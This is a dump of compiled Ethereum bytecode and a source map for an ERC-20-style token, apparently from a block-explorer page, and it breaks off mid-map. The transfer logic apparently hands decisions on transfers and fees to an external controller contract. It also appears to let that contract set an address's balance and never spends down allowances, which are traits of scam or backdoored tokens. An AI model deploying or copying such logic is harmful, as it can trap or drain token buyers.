0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806348d3ab1f116100a257806395d89b411161007157806395d89b41146102ac578063a457c2d7146102ca578063a9059cbb146102fa578063c5b37c221461032a578063dd62ed3e146103485761010b565b806348d3ab1f1461023657806370a0823114610254578063715018a6146102845780638da5cb5b1461028e5761010b565b8063313ce567116100de578063313ce567146101ac57806332424aa3146101ca57806339509351146101e85780633eaaf86b146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610378565b60405161012591906117cd565b60405180910390f35b61014860048036038101906101439190611888565b61040a565b60405161015591906118e3565b60405180910390f35b610166610421565b604051610173919061190d565b60405180910390f35b61019660048036038101906101919190611928565b61042b565b6040516101a391906118e3565b60405180910390f35b6101b46104cc565b6040516101c1919061190d565b60405180910390f35b6101d26104d6565b6040516101df919061190d565b60405180910390f35b61020260048036038101906101fd9190611888565b6104dc565b60405161020f91906118e3565b60405180910390f35b61022061057a565b60405161022d919061190d565b60405180910390f35b61023e610580565b60405161024b919061190d565b60405180910390f35b61026e6004803603810190610269919061197b565b610589565b60405161027b919061190d565b60405180910390f35b61028c6105d2565b005b610296610705565b6040516102a391906119b7565b60405180910390f35b6102b461072e565b6040516102c191906117cd565b60405180910390f35b6102e460048036038101906102df9190611888565b6107c0565b6040516102f191906118e3565b60405180910390f35b610314600480360381019061030f9190611888565b6108e7565b60405161032191906118e3565b60405180910390f35b6103326108fe565b60405161033f919061190d565b60405180910390f35b610362600480360381019061035d91906119d2565b610904565b60405161036f919061190d565b60405180910390f35b60606008805461038790611a41565b80601f01602080910402602001604051908101604052809291908181526020018280546103b390611a41565b80156104005780601f106103d557610100808354040283529160200191610400565b820191906000526020600020905b8154815290600101906020018083116103e357829003601f168201915b5050505050905090565b600061041733848461098b565b6001905092915050565b6000600454905090565b6000610438848484610b54565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104c157600080fd5b600190509392505050565b6000600354905090565b60035481565b6000610570338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461056b9190611aa1565b61098b565b6001905092915050565b60045481565b60006002905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166105f1610705565b73ffffffffffffffffffffffffffffffffffffffff1614610647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063e90611b21565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461073d90611a41565b80601f016020809104026020016040519081016040528092919081815260200182805461076990611a41565b80156107b65780601f1061078b576101008083540402835291602001916107b6565b820191906000526020600020905b81548152906001019060200180831161079957829003601f168201915b5050505050905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561084b57600080fd5b6108dd338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108d89190611b41565b61098b565b6001905092915050565b60006108f4338484610b54565b6001905092915050565b60055481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190611be7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6090611c79565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b47919061190d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b8d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bc657600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166309d0804b84846040518363ffffffff1660e01b8152600401610c23929190611c99565b602060405180830381865afa158015610c40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c649190611cee565b15610c7857610c738183610f7b565b610f76565b600a60009054906101000a900460ff161580610cd35750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111155b15610f7557610ce183611245565b60016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b8dd794c6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d769190611d30565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610dc18484846113c4565b905060008183610dd19190611b41565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e229190611aa1565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e749190611b41565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f069190611aa1565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f6a919061190d565b60405180910390a350505b5b505050565b610fa830600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461098b565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561100957611008611d5d565b5b6040519080825280602002602001820160405280156110375781602001602082028036833780820191505090505b5090506001600a60006101000a81548160ff021916908315150217905550308160008151811061106a57611069611d8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611111573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111359190611d30565b8160018151811061114957611148611d8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426111d39190611aa1565b6040518663ffffffff1660e01b81526004016111f3959493929190611ebe565b600060405180830381600087803b15801561120d57600080fd5b505af1158015611221573d6000803e3d6000fd5b505050506000600a60006101000a81548160ff021916908315150217905550505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e12c554360016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b8dd794c6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131a9190611d30565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461135e6114c2565b6040518463ffffffff1660e01b815260040161137c93929190611f18565b602060405180830381865afa158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd9190611f64565b9050919050565b60008060009050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe0d598b8686600a60009054906101000a900460ff16306114246114c2565b6040518663ffffffff1660e01b8152600401611444959493929190611f91565b6020604051808303816000875af1158015611463573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114879190611cee565b156114b7576114b460646114a66005548661166590919063ffffffff16565b6116df90919063ffffffff16565b90505b809150509392505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611531573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115559190611d30565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116029190611d30565b6040518363ffffffff1660e01b815260040161161f929190611c99565b602060405180830381865afa15801561163c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116609190611d30565b905090565b600080830361167757600090506116d9565b600082846116859190611fe4565b9050828482611694919061206d565b146116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90612110565b60405180910390fd5b809150505b92915050565b6000808211611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a9061217c565b60405180910390fd5b60008284611731919061206d565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561177757808201518184015260208101905061175c565b60008484015250505050565b6000601f19601f8301169050919050565b600061179f8261173d565b6117a98185611748565b93506117b9818560208601611759565b6117c281611783565b840191505092915050565b600060208201905081810360008301526117e78184611794565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061181f826117f4565b9050919050565b61182f81611814565b811461183a57600080fd5b50565b60008135905061184c81611826565b92915050565b6000819050919050565b61186581611852565b811461187057600080fd5b50565b6000813590506118828161185c565b92915050565b6000806040838503121561189f5761189e6117ef565b5b60006118ad8582860161183d565b92505060206118be85828601611873565b9150509250929050565b60008115159050919050565b6118dd816118c8565b82525050565b60006020820190506118f860008301846118d4565b92915050565b61190781611852565b82525050565b600060208201905061192260008301846118fe565b92915050565b600080600060608486031215611941576119406117ef565b5b600061194f8682870161183d565b93505060206119608682870161183d565b925050604061197186828701611873565b9150509250925092565b600060208284031215611991576119906117ef565b5b600061199f8482850161183d565b91505092915050565b6119b181611814565b82525050565b60006020820190506119cc60008301846119a8565b92915050565b600080604083850312156119e9576119e86117ef565b5b60006119f78582860161183d565b9250506020611a088582860161183d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a5957607f821691505b602082108103611a6c57611a6b611a12565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611aac82611852565b9150611ab783611852565b9250828201905080821115611acf57611ace611a72565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611b0b602083611748565b9150611b1682611ad5565b602082019050919050565b60006020820190508181036000830152611b3a81611afe565b9050919050565b6000611b4c82611852565b9150611b5783611852565b9250828203905081811115611b6f57611b6e611a72565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611bd1602583611748565b9150611bdc82611b75565b604082019050919050565b60006020820190508181036000830152611c0081611bc4565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611c63602383611748565b9150611c6e82611c07565b604082019050919050565b60006020820190508181036000830152611c9281611c56565b9050919050565b6000604082019050611cae60008301856119a8565b611cbb60208301846119a8565b9392505050565b611ccb816118c8565b8114611cd657600080fd5b50565b600081519050611ce881611cc2565b92915050565b600060208284031215611d0457611d036117ef565b5b6000611d1284828501611cd9565b91505092915050565b600081519050611d2a81611826565b92915050565b600060208284031215611d4657611d456117ef565b5b6000611d5484828501611d1b565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611dea611de5611de084611dbb565b611dc5565b611852565b9050919050565b611dfa81611dcf565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611e3581611814565b82525050565b6000611e478383611e2c565b60208301905092915050565b6000602082019050919050565b6000611e6b82611e00565b611e758185611e0b565b9350611e8083611e1c565b8060005b83811015611eb1578151611e988882611e3b565b9750611ea383611e53565b925050600181019050611e84565b5085935050505092915050565b600060a082019050611ed360008301886118fe565b611ee06020830187611df1565b8181036040830152611ef28186611e60565b9050611f0160608301856119a8565b611f0e60808301846118fe565b9695505050505050565b6000606082019050611f2d60008301866118fe565b611f3a60208301856119a8565b611f4760408301846119a8565b949350505050565b600081519050611f5e8161185c565b92915050565b600060208284031215611f7a57611f796117ef565b5b6000611f8884828501611f4f565b91505092915050565b600060a082019050611fa660008301886119a8565b611fb360208301876119a8565b611fc060408301866118d4565b611fcd60608301856119a8565b611fda60808301846119a8565b9695505050505050565b6000611fef82611852565b9150611ffa83611852565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561203357612032611a72565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061207882611852565b915061208383611852565b9250826120935761209261203e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006120fa602183611748565b91506121058261209e565b604082019050919050565b60006020820190508181036000830152612129816120ed565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612166601a83611748565b915061217182612130565b602082019050919050565b6000602082019050818103600083015261219581612159565b905091905056fea2646970667358221220c1a17db59f5b3604339c4cc57270cec8f5cd4ec2821a0439c28239d42cb34ad064736f6c63430008100033

Deployed Bytecode Sourcemap

3138:4810:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5617:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6136:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5854:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7538:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5775:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3338:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3919:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3373:61;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5948:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6025:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2983:148;;;:::i;:::-;;2766:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5694:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4136:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7359:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3441:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3762:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5617:71;5656:13;5680:5;5673:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5617:71;:::o;6136:167::-;6219:4;6236:37;6245:10;6257:7;6266:6;6236:8;:37::i;:::-;6291:4;6284:11;;6136:167;;;;:::o;5854:88::-;5909:7;5927:12;;5920:19;;5854:88;:::o;7538:244::-;7642:4;7659:34;7669:4;7675:9;7686:6;7659:9;:34::i;:::-;7745:6;7712:11;:17;7724:4;7712:17;;;;;;;;;;;;;;;:29;7730:10;7712:29;;;;;;;;;;;;;;;;:39;;7704:48;;;;;;7770:4;7763:11;;7538:244;;;;;:::o;5775:73::-;5818:7;5836:9;;5829:16;;5775:73;:::o;3338:28::-;;;;:::o;3919:211::-;4007:4;4024:76;4033:10;4045:7;4089:10;4054:11;:23;4066:10;4054:23;;;;;;;;;;;;;;;:32;4078:7;4054:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;4024:8;:76::i;:::-;4118:4;4111:11;;3919:211;;;;:::o;3373:61::-;;;;:::o;5948:71::-;5997:7;6015:1;6008:8;;5948:71;:::o;6025:105::-;6091:7;6109:9;:18;6119:7;6109:18;;;;;;;;;;;;;;;;6102:25;;6025:105;;;:::o;2983:148::-;2910:10;2899:21;;:7;:5;:7::i;:::-;:21;;;2891:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;3090:1:::1;3053:40;;3074:6;::::0;::::1;;;;;;;;3053:40;;;;;;;;;;;;3121:1;3104:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2983:148::o:0;2766:87::-;2812:7;2839:6;;;;;;;;;;;2832:13;;2766:87;:::o;5694:75::-;5735:13;5759:7;5752:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5694:75;:::o;4136:253::-;4217:4;4275:6;4242:11;:23;4254:10;4242:23;;;;;;;;;;;;;;;:29;4266:4;4242:29;;;;;;;;;;;;;;;;:39;;4234:48;;;;;;4293:66;4302:10;4314:4;4352:6;4320:11;:23;4332:10;4320:23;;;;;;;;;;;;;;;:29;4344:4;4320:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;4293:8;:66::i;:::-;4377:4;4370:11;;4136:253;;;;:::o;7359:173::-;7445:4;7462:40;7472:10;7484:9;7495:6;7462:9;:40::i;:::-;7520:4;7513:11;;7359:173;;;;:::o;3441:23::-;;;;:::o;3762:151::-;3851:7;3878:11;:18;3890:5;3878:18;;;;;;;;;;;;;;;:27;3897:7;3878:27;;;;;;;;;;;;;;;;3871:34;;3762:151;;;;:::o;6309:346::-;6428:1;6411:19;;:5;:19;;;6403:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6510:1;6491:21;;:7;:21;;;6483:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6593:6;6563:11;:18;6575:5;6563:18;;;;;;;;;;;;;;;:27;6582:7;6563:27;;;;;;;;;;;;;;;:36;;;;6631:7;6615:32;;6624:5;6615:32;;;6640:6;6615:32;;;;;;:::i;:::-;;;;;;;;6309:346;;;:::o;4395:724::-;4508:1;4492:18;;:4;:18;;;4484:27;;;;;;4544:1;4530:16;;:2;:16;;;4522:25;;;;;;4562:10;;;;;;;;;;;:24;;;4587:4;4593:2;4562:34;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4558:554;;;4613:29;4631:6;4639:2;4613:17;:29::i;:::-;4558:554;;;4665:13;;;;;;;;;;;4664:14;:43;;;;4692:9;:15;4702:4;4692:15;;;;;;;;;;;;;;;;4682:6;:25;;4664:43;4660:452;;;4763:13;4771:4;4763:7;:13::i;:::-;4724:9;:36;4734:10;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4724:36;;;;;;;;;;;;;;;:52;;;;4791:17;4811:30;4824:4;4830:2;4834:6;4811:12;:30::i;:::-;4791:50;;4856:22;4890:9;4881:6;:18;;;;:::i;:::-;4856:43;;4942:9;4914;:24;4932:4;4914:24;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;5002:6;4984:9;:15;4994:4;4984:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;4966:9;:15;4976:4;4966:15;;;;;;;;;;;;;;;:42;;;;5040:14;5023:9;:13;5033:2;5023:13;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;5089:2;5074:26;;5083:4;5074:26;;;5093:6;5074:26;;;;;;:::i;:::-;;;;;;;;4709:403;;4660:452;4558:554;4395:724;;;:::o;6661:472::-;6737:50;6754:4;6769:7;;;;;;;;;;;6779;6737:8;:50::i;:::-;6825:7;6798:9;:24;6816:4;6798:24;;;;;;;;;;;;;;;:34;;;;6843:21;6881:1;6867:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6843:40;;6910:4;6894:13;;:20;;;;;;;;;;;;;;;;;;6943:4;6925;6930:1;6925:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;6969:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6959:4;6964:1;6959:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;6994:7;;;;;;;;;;;:58;;;7053:7;7061:1;7063:4;7068:3;7090:2;7072:15;:20;;;;:::i;:::-;6994:99;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7120:5;7104:13;;:21;;;;;;;;;;;;;;;;;;6726:407;6661:472;;:::o;7172:181::-;7225:7;7252:10;;;;;;;;;;;:32;;;7285:9;:36;7295:10;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7285:36;;;;;;;;;;;;;;;;7323:4;7329:15;:13;:15::i;:::-;7252:93;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7245:100;;7172:181;;;:::o;5125:340::-;5213:7;5233:17;5253:1;5233:21;;5269:10;;;;;;;;;;;:32;;;5302:4;5308:9;5319:13;;;;;;;;;;;5342:4;5349:15;:13;:15::i;:::-;5269:96;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5265:166;;;5394:25;5415:3;5394:16;5405:4;;5394:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;5382:37;;5265:166;5448:9;5441:16;;;5125:340;;;;;:::o;7788:157::-;7835:7;7880;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7862:44;;;7915:4;7922:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7862:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7855:82;;7788:157;:::o;1172:246::-;1230:7;1259:1;1254;:6;1250:47;;1284:1;1277:8;;;;1250:47;1307:9;1323:1;1319;:5;;;;:::i;:::-;1307:17;;1352:1;1347;1343;:5;;;;:::i;:::-;:10;1335:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1409:1;1402:8;;;1172:246;;;;;:::o;1424:177::-;1482:7;1514:1;1510;:5;1502:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;1557:9;1573:1;1569;:5;;;;:::i;:::-;1557:17;;1592:1;1585:8;;;1424:177;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:329::-;4482:6;4531:2;4519:9;4510:7;4506:23;4502:32;4499:119;;;4537:79;;:::i;:::-;4499:119;4657:1;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4628:117;4423:329;;;;:::o;4758:118::-;4845:24;4863:5;4845:24;:::i;:::-;4840:3;4833:37;4758:118;;:::o;4882:222::-;4975:4;5013:2;5002:9;4998:18;4990:26;;5026:71;5094:1;5083:9;5079:17;5070:6;5026:71;:::i;:::-;4882:222;;;;:::o;5110:474::-;5178:6;5186;5235:2;5223:9;5214:7;5210:23;5206:32;5203:119;;;5241:79;;:::i;:::-;5203:119;5361:1;5386:53;5431:7;5422:6;5411:9;5407:22;5386:53;:::i;:::-;5376:63;;5332:117;5488:2;5514:53;5559:7;5550:6;5539:9;5535:22;5514:53;:::i;:::-;5504:63;;5459:118;5110:474;;;;;:::o;5590